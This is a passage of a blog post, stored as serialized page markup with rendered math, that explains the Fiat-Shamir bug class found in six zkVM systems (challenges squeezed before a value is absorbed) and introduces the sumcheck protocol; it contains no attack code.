",{"type":24,"tag":2040,"props":108066,"children":108067},{},[108068],{"type":29,"value":108069},"BEFORE",{"type":29,"value":108071}," the challenges derived from it are used.",{"type":24,"tag":25,"props":108073,"children":108074},{},[108075,108077,108103,108105,108130,108132,108157,108159,108184,108186,108211],{"type":29,"value":108076},"If some value ",{"type":24,"tag":32,"props":108078,"children":108080},{"className":108079},[3726,3727],[108081],{"type":24,"tag":83,"props":108082,"children":108084},{"className":108083},[3732],[108085],{"type":24,"tag":83,"props":108086,"children":108088},{"className":108087,"ariaHidden":1237},[3737],[108089],{"type":24,"tag":83,"props":108090,"children":108092},{"className":108091},[3742],[108093,108097],{"type":24,"tag":83,"props":108094,"children":108096},{"className":108095,"style":21323},[3747],[],{"type":24,"tag":83,"props":108098,"children":108100},{"className":108099,"style":107778},[3753,21328],[108101],{"type":29,"value":108102},"V",{"type":29,"value":108104}," affects a verification equation, but ",{"type":24,"tag":32,"props":108106,"children":108108},{"className":108107},[3726,3727],[108109],{"type":24,"tag":83,"props":108110,"children":108112},{"className":108111},[3732],[108113],{"type":24,"tag":83,"props":108114,"children":108116},{"className":108115,"ariaHidden":1237},[3737],[108117],{"type":24,"tag":83,"props":108118,"children":108120},{"className":108119},[3742],[108121,108125],{"type":24,"tag":83,"props":108122,"children":108124},{"className":108123,"style":21323},[3747],[],{"type":24,"tag":83,"props":108126,"children":108128},{"className":108127,"style":107778},[3753,21328],[108129],{"type":29,"value":108102},{"type":29,"value":108131}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":24,"tag":32,"props":108133,"children":108135},{"className":108134},[3726,3727],[108136],{"type":24,"tag":83,"props":108137,"children":108139},{"className":108138},[3732],[108140],{"type":24,"tag":83,"props":108141,"children":108143},{"className":108142,"ariaHidden":1237},[3737],[108144],{"type":24,"tag":83,"props":108145,"children":108147},{"className":108146},[3742],[108148,108152],{"type":24,"tag":83,"props":108149,"children":108151},{"className":108150,"style":21323},[3747],[],{"type":24,"tag":83,"props":108153,"children":108155},{"className":108154,"style":107778},[3753,21328],[108156],{"type":29,"value":108102},{"type":29,"value":108158},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":24,"tag":32,"props":108160,"children":108162},{"className":108161},[3726,3727],[108163],{"type":24,"tag":83,"props":108164,"children":108166},{"className":108165},[3732],[108167],{"type":24,"tag":83,"props":108168,"children":108170},{"className":108169,"ariaHidden":1237},[3737],[108171],{"type":24,"tag":83,"props":108172,"children":108174},{"className":108173},[3742],[108175,108179],{"type":24,"tag":83,"props":108176,"children":108178},{"className":108177,"style":21323},[3747],[],{"type":24,"tag":83,"props":108180,"children":108182},{"className":108181,"style":107778},[3753,21328],[108183],{"type":29,"value":108102},{"type":29,"value":108185},", which may allow it to choose ",{"type":24,"tag":32,"props":108187,"children":108189},{"className":108188},[3726,3727],[108190],{"type":24,"tag":83,"props":108191,"children":108193},{"className":108192},[3732],[108194],{"type":24,"tag":83,"props":108195,"children":108197},{"className":108196,"ariaHidden":1237},[3737],[108198],{"type":24,"tag":83,"props":108199,"children":108201},{"className":108200},[3742],[108202,108206],{"type":24,"tag":83,"props":108203,"children":108205},{"className":108204,"style":21323},[3747],[],{"type":24,"tag":83,"props":108207,"children":108209},{"className":108208,"style":107778},[3753,21328],[108210],{"type":29,"value":108102},{"type":29,"value":108212}," exactly so that the verification passes, even though it should not.",{"type":24,"tag":25,"props":108214,"children":108215},{},[108216],{"type":29,"value":108217},"This is the bug class we found in all six systems.",{"type":24,"tag":1818,"props":108219,"children":108221},{"id":108220},"the-sumcheck-protocol",[108222],{"type":29,"value":108223},"The Sumcheck Protocol",{"type":24,"tag":25,"props":108225,"children":108226},{},[108227,108229,108315],{"type":29,"value":108228},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":24,"tag":32,"props":108230,"children":108232},{"className":108231},[3726,3727],[108233],{"type":24,"tag":83,"props":108234,"children":108236},{"className":108235},[3732],[108237],{"type":24,"tag":83,"props":108238,"children":108240},{"className":108239,"ariaHidden":1237},[3737],[108241],{"type":24,"tag":83,"props":108242,"children":108244},{"className":108243},[3742],[108245,108249,108254,108259,108264,108268,108273],{"type":24,"tag":83,"props":108246,"children":108248},{"className":108247,"style":3854},[3747],[],{"type":24,"tag":83,"props":108250,"children":108252},{"className":108251},[21457],[108253],{"type":29,"value":76333},{"type":24,"tag":83,"props":108255,"children":108257},{"className":108256},[3753],[108258],{"type":29,"value":1166},{"type":24,"tag":83,"props":108260,"children":108262},{"className":108261},[3865],[108263],{"type":29,"value":3868},{"type":24,"tag":83,"props":108265,"children":108267},{"className":108266,"style":3872},[3833],[],{"type":24,"tag":83,"props":108269,"children":108271},{"className":108270},[3753],[108272],{"type":29,"value":3756},{"type":24,"tag":83,"props":108274,"children":108276},{"className":108275},[21479],[108277,108282],{"type":24,"tag":83,"props":108278,"children":108280},{"className":108279},[21479],[108281],{"type":29,"value":33877},{"type":24,"tag":83,"props":108283,"children":108285},{"className":108284},[3769],[108286],{"type":24,"tag":83,"props":108287,"children":108289},{"className":108288},[3774],[108290],{"type":24,"tag":83,"props":108291,"children":108293},{"className":108292},[3779],[108294],{"type":24,"tag":83,"props":108295,"children":108298},{"className":108296,"style":108297},[3784],"height:0.6644em;",[108299],{"type":24,"tag":83,"props":108300,"children":108301},{"style":3788},[108302,108306],{"type":24,"tag":83,"props":108303,"children":108305},{"className":108304,"style":3794},[3793],[],{"type":24,"tag":83,"props":108307,"children":108309},{"className":108308},[3799,3800,3801,3802],[108310],{"type":24,"tag":83,"props":108311,"children":108313},{"className":108312},[3753,21328,3802],[108314],{"type":29,"value":56117},{"type":29,"value":108316},"), i.e the claim:",{"type":24,"tag":25,"props":108318,"children":108319},{},[108320],{"type":24,"tag":32,"props":108321,"children":108323},{"className":108322},[3726,3727],[108324],{"type":24,"tag":83,"props":108325,"children":108327},{"className":108326},[3732],[108328],{"type":24,"tag":83,"props":108329,"children":108331},{"className":108330,"ariaHidden":1237},[3737],[108332,108358],{"type":24,"tag":83,"props":108333,"children":108335},{"className":108334},[3742],[108336,108340,108345,108349,108354],{"type":24,"tag":83,"props":108337,"children":108339},{"className":108338,"style":21323},[3747],[],{"type":24,"tag":83,"props":108341,"children":108343},{"className":108342,"style":92994},[3753,21328],[108344],{"type":29,"value":92997},{"type":24,"tag":83,"props":108346,"children":108348},{"className":108347,"style":3931},[3833],[],{"type":24,"tag":83,"props":108350,"children":108352},{"className":108351},[3936],[108353],{"type":29,"value":1275},{"type":24,"tag":83,"props":108355,"children":108357},{"className":108356,"style":3931},[3833],[],{"type":24,"tag":83,"props":108359,"children":108361},{"className":108360},[3742],[108362,108366,108516,108520,108663,108667,108674,108678,108822,108826,108832,108837,108894,108899,108903,108960,108965,108969,108975,108979,108984,108988,109046],{"type":24,"tag":83,"props":108363,"children":108365},{"className":108364,"style":21359},[3747],[],{"type":24,"tag":83,"props":108367,"children":108369},{"className":108368},[21364],[108370,108376],{"type":24,"tag":83,"props":108371,"children":108373},{"className":108372,"style":21371},[21364,21369,21370],[108374],{"type":29,"value":108375},"∑",{"type":24,"tag":83,"props":108377,"children":108379},{"className":108378},[3769],[108380],{"type":24,"tag":83,"props":108381,"children":108383},{"className":108382},[3774,21382],[108384,108505],{"type":24,"tag":83,"props":108385,"children":108387},{"className":108386},[3779],[108388,108500],{"type":24,"tag":83,"props":108389,"children":108391},{"className":108390,"style":21391},[3784],[108392],{"type":24,"tag":83,"props":108393,"children":108394},{"style":21395},[108395,108399],{"type":24,"tag":83,"props":108396,"children":108398},{"className":108397,"style":3794},[3793],[],{"type":24,"tag":83,"props":108400,"children":108402},{"className":108401},[3799,3800,3801,3802],[108403],{"type":24,"tag":83,"props":108404,"children":108406},{"className":108405},[3753,3802],[108407,108470,108475,108480,108485,108490,108495],{"type":24,"tag":83,"props":108408,"children":108410},{"className":108409},[3753,3802],[108411,108416],{"type":24,"tag":83,"props":108412,"children":108414},{"className":108413},[3753,21328,3802],[108415],{"type":29,"value":19015},{"type":24,"tag":83,"props":108417,"children":108419},{"className":108418},[3769],[108420],{"type":24,"tag":83,"props":108421,"children":108423},{"className":108422},[3774,21382],[108424,108458],{"type":24,"tag":83,"props":108425,"children":108427},{"className":108426},[3779],[108428,108453],{"type":24,"tag":83,"props":108429,"children":108432},{"className":108430,"style":108431},[3784],"height:0.3173em;",[108433],{"type":24,"tag":83,"props":108434,"children":108436},{"style":108435},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[108437,108442],{"type":24,"tag":83,"props":108438,"children":108441},{"className":108439,"style":108440},[3793],"height:2.5em;",[],{"type":24,"tag":83,"props":108443,"children":108447},{"className":108444},[3799,108445,108446,3802],"reset-size3","size1",[108448],{"type":24,"tag":83,"props":108449,"children":108451},{"className":108450},[3753,3802],[108452],{"type":29,"value":3756},{"type":24,"tag":83,"props":108454,"children":108456},{"className":108455},[21485],[108457],{"type":29,"value":21488},{"type":24,"tag":83,"props":108459,"children":108461},{"className":108460},[3779],[108462],{"type":24,"tag":83,"props":108463,"children":108466},{"className":108464,"style":108465},[3784],"height:0.143em;",[108467],{"type":24,"tag":83,"props":108468,"children":108469},{},[],{"type":24,"tag":83,"props":108471,"children":108473},{"className":108472},[3936,3802],[108474],{"type":29,"value":21435},{"type":24,"tag":83,"props":108476,"children":108478},{"className":108477},[21457,3802],[108479],{"type":29,"value":76333},{"type":24,"tag":83,"props":108481,"children":108483},{"className":108482},[3753,3802],[108484],{"type":29,"value":1166},{"type":24,"tag":83,"props":108486,"children":108488},{"className":108487},[3865,3802],[108489],{"type":29,"value":3868},{"type":24,"tag":83,"props":108491,"children":108493},{"className":108492},[3753,3802],[108494],{"type":29,"value":3756},{"type":24,"tag":83,"props":108496,"children":108498},{"className":108497},[21479,3802],[108499],{"type":29,"value":33877},{"type":24,"tag":83,"props":108501,"children":108503},{"className":108502},[21485],[108504],{"type":29,"value":21488},{"type":24,"tag":83,"props":108506,"children":108508},{"className":108507},[3779],[108509],{"type":24,"tag":83,"props":108510,"children":108512},{"className":108511,"style":21496},[3784],[108513],{"type":24,"tag":83,"props":108514,"children":108515},{},[],{"type":24,"tag":83,"props":108517,"children":108519},{"className":108518,"style":3872},[3833],[],{"type":24,"tag":83,"props":108521,"children":108523},{"className":108522},[21364],[108524,108529],{"type":24,"tag":83,"props":108525,"children":108527},{"className":108526,"style":21371},[21364,21369,21370],[108528],{"type":29,"value":108375},{"type":24,"tag":83,"props":108530,"children":108532},{"className":108531},[3769],[108533],{"type":24,"tag":83,"props":108534,"children":108536},{"className":108535},[3774,21382],[108537,108652],{"type":24,"tag":83,"props":108538,"children":108540},{"className":108539},[3779],[108541,108647],{"type":24,"tag":83,"props":108542,"children":108544},{"className":108543,"style":21391},[3784],[108545],{"type":24,"tag":83,"props":108546,"children":108547},{"style":21395},[108548,108552],{"type":24,"tag":83,"props":108549,"children":108551},{"className":108550,"style":3794},[3793],[],{"type":24,"tag":83,"props":108553,"children":108555},{"className":108554},[3799,3800,3801,3802],[108556],{"type":24,"tag":83,"props":108557,"children":108559},{"className":108558},[3753,3802],[108560,108617,108622,108627,108632,108637,108642],{"type":24,"tag":83,"props":108561,"children":108563},{"className":108562},[3753,3802],[108564,108569],{"type":24,"tag":83,"props":108565,"children":108567},{"className":108566},[3753,21328,3802],[108568],{"type":29,"value":19015},{"type":24,"tag":83,"props":108570,"children":108572},{"className":108571},[3769],[108573],{"type":24,"tag":83,"props":108574,"children":108576},{"className":108575},[3774,21382],[108577,108606],{"type":24,"tag":83,"props":108578,"children":108580},{"className":108579},[3779],[108581,108601],{"type":24,"tag":83,"props":108582,"children":108584},{"className":108583,"style":108431},[3784],[108585],{"type":24,"tag":83,"props":108586,"children":108587},{"style":108435},[108588,108592],{"type":24,"tag":83,"props":108589,"children":108591},{"className":108590,"style":108440},[3793],[],{"type":24,"tag":83,"props":108593,"children":108595},{"className":108594},[3799,108445,108446,3802],[108596],{"type":24,"tag":83,"props":108597,"children":108599},{"className":108598},[3753,3802],[108600],{"type":29,"value":2867},{"type":24,"tag":83,"props":108602,"children":108604},{"className":108603},[21485],[108605],{"type":29,"value":21488},{"type":24,"tag":83,"props":108607,"children":108609},{"className":108608},[3779],[108610],{"type":24,"tag":83,"props":108611,"children":108613},{"className":108612,"style":108465},[3784],[108614],{"type":24,"tag":83,"props":108615,"children":108616},{},[],{"type":24,"tag":83,"props":108618,"children":108620},{"className":108619},[3936,3802],[108621],{"type":29,"value":21435},{"type":24,"tag":83,"props":108623,"children":108625},{"className":108624},[21457,3802],[108626],{"type":29,"value":76333},{"type":24,"tag":83,"props":108628,"children":108630},{"className":108629},[3753,3802],[108631],{"type":29,"value":1166},{"type":24,"tag":83,"props":108633,"children":108635},{"className":108634},[3865,3802],[108636],{"type":29,"value":3868},{"type":24,"tag":83,"props":108638,"children":108640},{"className":108639},[3753,3802],[108641],{"type":29,"value":3756},{"type":24,"tag":83,"props":108643,"children":108645},{"className":108644},[21479,3802],[108646],{"type":29,"value":33877},{"type":24,"tag":83,"props":108648,"children":108650},{"className":108649},[21485],[108651],{"type":29,"value":21488},{"type":24,"tag":83,"props":108653,"children":108655},{"className":108654},[3779],[108656],{"type":24,"tag":83,"props":108657,"children":108659},{"className":108658,"style":21496},[3784],[108660],{"type":24,"tag":83,"props":108661,"children":108662},{},[],{"type":24,"tag":83,"props":108664,"children":108666},{"className":108665,"style":3872},[3833],[],{"type":24,"tag":83,"props":108668,"children":108671},{"className":108669},[108670],"minner",[108672],{"type":29,"value":108673},"⋯",{"type":24,"tag":83,"props":108675,"children":108677},{"className":108676,"style":3872},[3833],[],{"type":24,"tag":83,"props":108679,"children":108681},{"className":108680},[21364],[108682,108687],{"type":24,"tag":83,"props":108683,"children":108685},{"className":108684,"style":21371},[21364,21369,21370],[108686],{"type":29,"value":108375},{"type":24,"tag":83,"props":108688,"children":108690},{"className":108689},[3769],[108691],{"type":24,"tag":83,"props":108692,"children":108694},{"className":108693},[3774,21382],[108695,108811],{"type":24,"tag":83,"props":108696,"children":108698},{"className":108697},[3779],[108699,108806],{"type":24,"tag":83,"props":108700,"children":108702},{"className":108701,"style":21391},[3784],[108703],{"type":24,"tag":83,"props":108704,"children":108705},{"style":21395},[108706,108710],{"type":24,"tag":83,"props":108707,"children":108709},{"className":108708,"style":3794},[3793],[],{"type":24,"tag":83,"props":108711,"children":108713},{"className":108712},[3799,3800,3801,3802],[108714],{"type":24,"tag":83,"props":108715,"children":108717},{"className":108716},[3753,3802],[108718,108776,108781,108786,108791,108796,108801],{"type":24,"tag":83,"props":108719,"children":108721},{"className":108720},[3753,3802],[108722,108727],{"type":24,"tag":83,"props":108723,"children":108725},{"className":108724},[3753,21328,3802],[108726],{"type":29,"value":19015},{"type":24,"tag":83,"props":108728,"children":108730},{"className":108729},[3769],[108731],{"type":24,"tag":83,"props":108732,"children":108734},{"className":108733},[3774,21382],[108735,108765],{"type":24,"tag":83,"props":108736,"children":108738},{"className":108737},[3779],[108739,108760],{"type":24,"tag":83,"props":108740,"children":108743},{"className":108741,"style":108742},[3784],"height:0.1645em;",[108744],{"type":24,"tag":83,"props":108745,"children":108746},{"style":108435},[108747,108751],{"type":24,"tag":83,"props":108748,"children":108750},{"className":108749,"style":108440},[3793],[],{"type":24,"tag":83,"props":108752,"children":108754},{"className":108753},[3799,108445,108446,3802],[108755],{"type":24,"tag":83,"props":108756,"children":108758},{"className":108757},[3753,21328,3802],[108759],{"type":29,"value":56117},{"type":24,"tag":83,"props":108761,"children":108763},{"className":108762},[21485],[108764],{"type":29,"value":21488},{"type":24,"tag":83,"props":108766,"children":108768},{"className":108767},[3779],[108769],{"type":24,"tag":83,"props":108770,"children":108772},{"className":108771,"style":108465},[3784],[108773],{"type":24,"tag":83,"props":108774,"children":108775},{},[],{"type":24,"tag":83,"props":108777,"children":108779},{"className":108778},[3936,3802],[108780],{"type":29,"value":21435},{"type":24,"tag":83,"props":108782,"children":108784},{"className":108783},[21457,3802],[108785],{"type":29,"value":76333},{"type":24,"tag":83,"props":108787,"children":108789},{"className":108788},[3753,3802],[108790],{"type":29,"value":1166},{"type":24,"tag":83,"props":108792,"children":108794},{"className":108793},[3865,3802],[108795],{"type":29,"value":3868},{"type":24,"tag":83,"props":108797,"children":108799},{"className":108798},[3753,3802],[108800],{"type":29,"value":3756},{"type":24,"tag":83,"props":108802,"children":108804},{"className":108803},[21479,3802],[108805],{"type":29,"value":33877},{"type":24,"tag":83,"props":108807,"children":108809},{"className":108808},[21485],[108810],{"type":29,"value":21488},{"type":24,"tag":83,"props":108812,"children":108814},{"className":108813},[3779],[108815],{"type":24,"tag":83,"props":108816,"children":108818},{"className":108817,"style":21496},[3784],[108819],{"type":24,"tag":83,"props":108820,"children":108821},{},[],{"type":24,"tag":83,"props":108823,"children":108825},{"className":108824,"style":3872},[3833],[],{"type":24,"tag":83,"props":108827,"children":108829},{"className":108828,"style":93246},[3753,21328],[108830],{"type":29,"value":108831},"g",{"type":24,"tag":83,"props":108833,"children":108835},{"className":108834},[21457],[108836],{"type":29,"value":558},{"type":24,"tag":83,"props":108838,"children":108840},{"className":108839},[3753],[108841,108846],{"type":24,"tag":83,"props":108842,"children":108844},{"className":108843},[3753,21328],[108845],{"type":29,"value":19015},{"type":24,"tag":83,"props":108847,"children":108849},{"className":108848},[3769],[108850],{"type":24,"tag":83,"props":108851,"children":108853},{"className":108852},[3774,21382],[108854,108883],{"type":24,"tag":83,"props":108855,"children":108857},{"className":108856},[3779],[108858,108878],{"type":24,"tag":83,"props":108859,"children":108861},{"className":108860,"style":92812},[3784],[108862],{"type":24,"tag":83,"props":108863,"children":108864},{"style":92816},[108865,108869],{"type":24,"tag":83,"props":108866,"children":108868},{"className":108867,"style":3794},[3793],[],{"type":24,"tag":83,"props":108870,"children":108872},{"className":108871},[3799,3800,3801,3802],[108873],{"type":24,"tag":83,"props":108874,"children":108876},{"className":108875},[3753,3802],[108877],{"type":29,"value":3756},{"type":24,"tag":83,"props":108879,"children":108881},{"className":108880},[21485],[108882],{"type":29,"value":21488},{"type":24,"tag":83,"props":108884,"children":108886},{"className":108885},[3779],[108887],{"type":24,"tag":83,"props":108888,"children":108890},{"className":108889,"style":92843},[3784],[108891],{"type":24,"tag":83,"props":108892,"children":108893},{},[],{"type":24,"tag":83,"props":108895,"children":108897},{"className":108896},[3865],[108898],{"type":29,"value":3868},{"type":24,"tag":83,"props":108900,"children":108902},{"className":108901,"style":3872},[3833],[],{"type":24,"tag":83,"props":108904,"children":108906},{"className":108905},[3753],[108907,108912],{"type":24,"tag":83,"props":108908,"children":108910},{"className":108909},[3753,21328],[108911],{"type":29,"value":19015},{"type":24,"tag":83,"props":108913,"children":108915},{"className":108914},[3769],[108916],{"type":24,"tag":83,"props":108917,"children":108919},{"className":108918},[3774,21382],[108920,108949],{"type":24,"tag":83,"props":108921,"children":108923},{"className":108922},[3779],[108924,108944],{"type":24,"tag":83,"props":108925,"children":108927},{"className":108926,"style":92812},[3784],[108928],{"type":24,"tag":83,"props":108929,"children":108930},{"style":92816},[108931,108935],{"type":24,"tag":83,"props":108932,"children":108934},{"className":108933,"style":3794},[3793],[],{"type":24,"tag":83,"props":108936,"children":108938},{"className":108937},[3799,3800,3801,3802],[108939],{"type":24,"tag":83,"props":108940,"children":108942},{"className":108941},[3753,3802],[108943],{"type":29,"value":2867},{"type":24,"tag":83,"props":108945,"children":108947},{"className":108946},[21485],[108948],{"type":29,"value":21488},{"type":24,"tag":83,"props":108950,"children":108952},{"className":108951},[3779],[108953],{"type":24,"tag":83,"props":108954,"children":108956},{"className":108955,"style":92843},[3784],[108957],{"type":24,"tag":83,"props":108958,"children":108959},{},[],{"type":24,"tag":83,"props":108961,"children":108963},{"className":108962},[3865],[108964],{"type":29,"value":3868},{"type":24,"tag":83,"props":108966,"children":108968},{"className":108967,"style":3872},[3833],[],{"type":24,"tag":83,"props":108970,"children":108972},{"className":108971},[108670],[108973],{"type":29,"value":108974},"…",{"type":24,"tag":83,"props":108976,"children":108978},{"className":108977,"style":3872},[3833],[],{"type":24,"tag":83,"props":108980,"children":108982},{"className":108981},[3865],[108983],{"type":29,"value":3868},{"type":24,"tag":83,"props":108985,"children":108987},{"className":108986,"style":3872},[3833],[],{"type":24,"tag":83,"props":108989,"children":108991},{"className":108990},[3753],[108992,108997],{"type":24,"tag":83,"props":108993,"children":108995},{"className":108994},[3753,21328],[108996],{"type":29,"value":19015},{"type":24,"tag":83,"props":108998,"children":109000},{"className":108999},[3769],[109001],{"type":24,"tag":83,"props":109002,"children":109004},{"className":109003},[3774,21382],[109005,109035],{"type":24,"tag":83,"props":109006,"children":109008},{"className":109007},[3779],[109009,109030],{"type":24,"tag":83,"props":109010,"children":109013},{"className":109011,"style":109012},[3784],"height:0.1514em;",[109014],{"type":24,"tag":83,"props":109015,"children":109016},{"style":92816},[109017,109021],{"type":24,"tag":83,"props":109018,"children":109020},{"className":109019,"style":3794},[3793],[],{"type":24,"tag":83,"props":109022,"children":109024},{"className":109023},[3799,3800,3801,3802],[109025],{"type":24,"tag":83,"props":109026,"children":109028},{"className":109027},[3753,21328,3802],[109029],{"type":29,"value":56117},{"type":24,"tag":83,"props":109031,"children":109033},{"className":109032},[21485],[109034],{"type":29,"value":21488},{"type":24,"tag":83,"props":109036,"children":109038},{"className":109037},[3779],[109039],{"type":24,"tag":83,"props":109040,"children":109042},{"className":109041,"style":92843},[3784],[109043],{"type":24,"tag":83,"props":109044,"children":109045},{},[],{"type":24,"tag":83,"props":109047,"children":109049},{"className":109048},[21479],[109050],{"type":29,"value":2872},{"type":24,"tag":25,"props":109052,"children":109053},{},[109054,109056,109117],{"type":29,"value":109055},"The naive approach would be for the verifier to compute all ",{"type":24,"tag":32,"props":109057,"children":109059},{"className":109058},[3726,3727],[109060],{"type":24,"tag":83,"props":109061,"children":109063},{"className":109062},[3732],[109064],{"type":24,"tag":83,"props":109065,"children":109067},{"className":109066,"ariaHidden":1237},[3737],[109068],{"type":24,"tag":83,"props":109069,"children":109071},{"className":109070},[3742],[109072,109076],{"type":24,"tag":83,"props":109073,"children":109075},{"className":109074,"style":108297},[3747],[],{"type":24,"tag":83,"props":109077,"children":109079},{"className":109078},[3753],[109080,109085],{"type":24,"tag":83,"props":109081,"children":109083},{"className":109082},[3753],[109084],{"type":29,"value":2867},{"type":24,"tag":83,"props":109086,"children":109088},{"className":109087},[3769],[109089],{"type":24,"tag":83,"props":109090,"children":109092},{"className":109091},[3774],[109093],{"type":24,"tag":83,"props":109094,"children":109096},{"className":109095},[3779],[109097],{"type":24,"tag":83,"props":109098,"children":109100},{"className":109099,"style":108297},[3784],[109101],{"type":24,"tag":83,"props":109102,"children":109103},{"style":3788},[109104,109108],{"type":24,"tag":83,"props":109105,"children":109107},{"className":109106,"style":3794},[3793],[],{"type":24,"tag":83,"props":109109,"children":109111},{"className":109110},[3799,3800,3801,3802],[109112],{"type":24,"tag":83,"props":109113,"children":109115},{"className":109114},[3753,21328,3802],[109116],{"type":29,"value":56117},{"type":29,"value":109118}," evaluations. This is exponentially expensive.",{"type":24,"tag":25,"props":109120,"children":109121},{},[109122,109124,109129],{"type":29,"value":109123},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":24,"tag":2040,"props":109125,"children":109126},{},[109127],{"type":29,"value":109128},"only one",{"type":29,"value":161},{"type":24,"tag":25,"props":109131,"children":109132},{},[109133],{"type":24,"tag":2510,"props":109134,"children":109137},{"alt":109135,"src":109136},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":24,"tag":25,"props":109139,"children":109140},{},[109141,109143,109235,109237,109422,109424,109449,109451,109529,109531,109610],{"type":29,"value":109142},"In each round, the prover must send a polynomial ",{"type":24,"tag":32,"props":109144,"children":109146},{"className":109145},[3726,3727],[109147],{"type":24,"tag":83,"props":109148,"children":109150},{"className":109149},[3732],[109151],{"type":24,"tag":83,"props":109152,"children":109154},{"className":109153,"ariaHidden":1237},[3737],[109155],{"type":24,"tag":83,"props":109156,"children":109158},{"className":109157},[3742],[109159,109163,109220,109225,109230],{"type":24,"tag":83,"props":109160,"children":109162},{"className":109161,"style":3854},[3747],[],{"type":24,"tag":83,"props":109164,"children":109166},{"className":109165},[3753],[109167,109172],{"type":24,"tag":83,"props":109168,"children":109170},{"className":109169,"style":93246},[3753,21328],[109171],{"type":29,"value":108831},{"type":24,"tag":83,"props":109173,"children":109175},{"className":109174},[3769],[109176],{"type":24,"tag":83,"props":109177,"children":109179},{"className":109178},[3774,21382],[109180,109209],{"type":24,"tag":83,"props":109181,"children":109183},{"className":109182},[3779],[109184,109204],{"type":24,"tag":83,"props":109185,"children":109187},{"className":109186,"style":93289},[3784],[109188],{"type":24,"tag":83,"props":109189,"children":109190},{"style":93293},[109191,109195],{"type":24,"tag":83,"props":109192,"children":109194},{"className":109193,"style":3794},[3793],[],{"type":24,"tag":83,"props":109196,"children":109198},{"className":109197},[3799,3800,3801,3802],[109199],{"type":24,"tag":83,"props":109200,"children":109202},{"className":109201},[3753,21328,3802],[109203],{"type":29,"value":3482},{"type":24,"tag":83,"props":109205,"children":109207},{"className":109206},[21485],[109208],{"type":29,"value":21488},{"type":24,"tag":83,"props":109210,"children":109212},{"className":109211},[3779],[109213],{"type":24,"tag":83,"props":109214,"children":109216},{"className":109215,"style":92843},[3784],[109217],{"type":24,"tag":83,"props":109218,"children":109219},{},[],{"type":24,"tag":83,"props":109221,"children":109223},{"className":109222},[21457],[109224],{"type":29,"value":558},{"type":24,"tag":83,"props":109226,"children":109228},{"className":109227,"style":94780},[3753,21328],[109229],{"type":29,"value":5879},{"type":24,"tag":83,"props":109231,"children":109233},{"className":109232},[21479],[109234],{"type":29,"value":2872},{"type":29,"value":109236}," such that ",{"type":24,"tag":32,"props":109238,"children":109240},{"className":109239},[3726,3727],[109241],{"type":24,"tag":83,"props":109242,"children":109244},{"className":109243},[3732],[109245],{"type":24,"tag":83,"props":109246,"children":109248},{"className":109247,"ariaHidden":1237},[3737],[109249,109342],{"type":24,"tag":83,"props":109250,"children":109252},{"className":109251},[3742],[109253,109257,109314,109319,109324,109329,109333,109338],{"type":24,"tag":83,"props":109254,"children":109256},{"className":109255,"style":3854},[3747],[],{"type":24,"tag":83,"props":109258,"children":109260},{"className":109259},[3753],[109261,109266],{"type":24,"tag":83,"props":109262,"children":109264},{"className":109263,"style":93246},[3753,21328],[109265],{"type":29,"value":108831},{"type":24,"tag":83,"props":109267,"children":109269},{"className":109268},[3769],[109270],{"type":24,"tag":83,"props":109271,"children":109273},{"className":109272},[3774,21382],[109274,109303],{"type":24,"tag":83,"props":109275,"children":109277},{"className":109276},[3779],[109278,109298],{"type":24,"tag":83,"props":109279,"children":109281},{"className":109280,"style":93289},[3784],[109282],{"type":24,"tag":83,"props":109283,"children":109284},{"style":93293},[109285,109289],{"type":24,"tag":83,"props":109286,"children":109288},{"className":109287,"style":3794},[3793],[],{"type":24,"tag":83,"props":109290,"children":109292},{"className":109291},[3799,3800,3801,3802],[109293],{"type":24,"tag":83,"props":109294,"children":109296},{"className":109295},[3753,21328,3802],[109297],{"type":29,"value":3482},{"type":24,"tag":83,"props":109299,"children":109301},{"className":109300},[21485],[109302],{"type":29,"value":21488},{"type":24,"tag":83,"props":109304,"children":109306},{"className":109305},[3779],[109307],{"type":24,"tag":83,"props":109308,"children":109310},{"className":109309,"style":92843},[3784],[109311],{"type":24,"tag":83,"props":109312,"children":109313},{},[],{"type":24,"tag":83,"props":109315,"children":109317},{"className":109316},[21457],[109318],{"type":29,"value":558},{"type":24,"tag":83,"props":109320,"children":109322},{"className":109321},[3753],[109323],{"type":29,"value":1166},{"type":24,"tag":83,"props":109325,"children":109327},{"className":109326},[21479],[109328],{"type":29,"value":2872},{"type":24,"tag":83,"props":109330,"children":109332},{"className":109331,"style":3834},[3833],[],{"type":24,"tag":83,"props":109334,"children":109336},{"className":109335},[3839],[109337],{"type":29,"value":4126},{"type":24,"tag":83,"props":109339,"children":109341},{"className":109340,"style":3834},[3833],[],{"type":24,"tag":83,"props":109343,"children":109345},{"className":109344},[3742],[109346,109350,109407,109412,109417],{"type":24,"tag":83,"props":109347,"children":109349},{"className":109348,"style":3854},[3747],[],{"type":24,"tag":83,"props":109351,"children":109353},{"className":109352},[3753],[109354,109359],{"type":24,"tag":83,"props":109355,"children":109357},{"className":109356,"style":93246},[3753,21328],[109358],{"type":29,"value":108831},{"type":24,"tag":83,"props":109360,"children":109362},{"className":109361},[3769],[109363],{"type":24,"tag":83,"props":109364,"children":109366},{"className":109365},[3774,21382],[109367,109396],{"type":24,"tag":83,"props":109368,"children":109370},{"className":109369},[3779],[109371,109391],{"type":24,"tag":83,"props":109372,"children":109374},{"className":109373,"style":93289},[3784],[109375],{"type":24,"tag":83,"props":109376,"children":109377},{"style":93293},[109378,109382],{"type":24,"tag":83,"props":109379,"children":109381},{"className":109380,"style":3794},[3793],[],{"type":24,"tag":83,"props":109383,"children":109385},{"className":109384},[3799,3800,3801,3802],[109386],{"type":24,"tag":83,"props":109387,"children":109389},{"className":109388},[3753,21328,3802],[109390],{"type":29,"value":3482},{"type":24,"tag":83,"props":109392,"children":109394},{"className":109393},[21485],[109395],{"type":29,"value":21488},{"type":24,"tag":83,"props":109397,"children":109399},{"className":109398},[3779],[109400],{"type":24,"tag":83,"props":109401,"children":109403},{"className":109402,"style":92843},[3784],[109404],{"type":24,"tag":83,"props":109405,"children":109406},{},[],{"type":24,"tag":83,"props":109408,"children":109410},{"className":109409},[21457],[109411],{"type":29,"value":558},{"type":24,"tag":83,"props":109413,"children":109415},{"className":109414},[3753],[109416],{"type":29,"value":3756},{"